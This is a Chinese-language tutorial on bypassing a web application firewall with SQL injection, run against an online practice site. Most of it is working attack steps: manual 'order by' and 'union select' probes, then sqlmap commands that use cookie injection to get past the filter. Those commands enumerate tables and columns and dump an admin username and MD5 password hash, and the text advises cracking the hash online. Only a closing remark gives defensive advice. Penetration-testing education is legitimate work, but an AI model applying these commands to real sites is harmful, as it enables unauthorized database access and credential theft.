茴香豆安全 - Sql注入如何绕过WAF/IPS防火墙
2020-06-02 本文已影响0人
wycdavid
一、前言
- 前面我们学习了如何利用sqlmap工具sql注入,获取网站的管理员账号密码,看似流程非常简单,不过在实际渗透测试的时候,我们其实会遇到各种各样的问题。其中一种就是对方网站采用了WAF防火墙,或者有IPS入侵检测机制,做了一定的字符过滤,常规的SQL注入方法我们根本无法成功。
- WAF是通过执行一系列针对HTTP/HTTPS的安全策略还专门为Web应用提供保护的一种 Web应用防火墙
二、相关工具准备
- sqlmap,sql注入常用的工具
- 在线靶场,用于sql注入测试的在线网站,我们这次使用 http://59.63.200.79:8004/
三、具体测试过程
1. 打开靶场网站,寻找注入点,先可以采用人工的方式初步做些简单的验证
-
浏览器打开靶场网站,点击新闻,找到一个疑似注入点
image.png
http://59.63.200.79:8004/shownews.asp?id=171
- 到底怎么找注入点,说实话这个除非有相应的工具做全局的检测,其余的方法就是靠经验,靠人工先简单验证
- 一般是一些详情页的url,比如上面这个新闻详情,我们随便修改id的值,如果内容跟着变化就很有可能是注入点
- 然后我们在url后面拼接一些sql语句,来观察界面的变化
- 我们尝试url后拼接sql语句,比如 order by 10,发现内容并无变化
http://59.63.200.79:8004/shownews.asp?id=171 order by 10
image.png
-
我们再试试, order by 11,发现数据库报错了,基本可以确定这里存在注入点
image.png - 通过上面的测试我们基本可以判断,当前新闻的表,他有10个字段,我们再试试有没有admin表
http://59.63.200.79:8004/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin
image.png
-
弹出了错误提示,这个网站很有可能存在WAF防火墙,对一些sql字符进行了过滤,手动测试我们就到此为止了,至少我们可以判断这是个注入点,但是存在防火墙的过滤策略。
-
我们用sqlmap执行下面的命令试试
sqlmap -u "http://59.63.200.79:8004/shownews.asp?id=171"
image.png
- 的确存在某种WAF/IPS的防火墙保护,我们没法成功注入
2. 采用cookie注入的方式来绕过WAF
- 执行下面的语句,进行cookie注入
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2
image.png注意后面要加上 --level 2 ,等级2或者2以上,才可以进行cookie的注入
- 我们发现注入成功了,数据库类型是 Access
- 其实到这里我们主要的目的已经达到了,下面就是按部就班的先猜解表,然后猜解字段,最后获取值,拿到管理员账号和密码。 不过之前我们说过 sqlmap对于asp和php的语法稍有不同,另外更主要的区别,对于php网站mysql数据库来说sqlmap的sql注入,更像是一种查询,速度很快;而对于asp网站access数据库才是真正的暴力猜解,速度慢,而且不一定能够猜解成功
3. 猜解表
- 因为access类型的数据库,一个数据库就是一个文件,所以我们直接猜解表
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --tables --cookie "id=171" --level 2
image.png
image.png如图所示,三个红框的内容分别解释下
- 系统提示因为是ACCESS数据库,是没法直接获得表的数量和表的名字的
- 系统问是否要用一个共通表来进行表是否存在的检测,你可以理解为是一个类似字典的文件,里面存了各种的表名,可以用于表名的暴力拆解,选择默认的1就好
- 系统问要启用多少个线程,线程越多速度越快,我们输入10就行
- 如图所示,我们这个表名字典里面有3348条数据,目前已经验证了272个,已经找了4个表,我们发现里面有个表叫admin,所以基本可以确定管理员账号就在里面,所以可以不用继续猜了,直接停止就行
4. 继续猜解字段
- 执行下面的命令,参数我就不解释了,应该很容易理解
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --columns -T admin --cookie "id=171" --level 2
image.png
- 如图所示,我们发现这个admin表中有username 和password 字段,应该就是对应的用户名和密码。注意,因为暴力猜解非常耗时,所以一旦我们发现了我们所需要的关键字段,随时可以停止
5. 获取用户名和密码
- 执行下面的命令,--colunms参数,表示猜解所有字段,-T 指定表
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --dump -C username,password -T admin --cookie "id=171" --level 2
image.png
- 这样我们就拿到了账号admin和密码 b9a2a2b5dffb918c,这种密码很眼熟吧,找个MD5在线网站解密就会获得真实的密码,这里不再赘述了
五、最后
-
本次测试,我们主要学习了采用sqlmap的cookie注入来绕过WAF的方法,然后就是理解了 php/mysql和asp/access sql注入的本质区别,前者其实是一种数据库查询,而后者其实是一种暴力破解
-
根据以上的结论,如果我们的网站是asp/access的,为了增加安全性,应该考虑,不要使用常用的表名,增加暴力破解的难度,也不要使用简单的密码,增加解密的难度。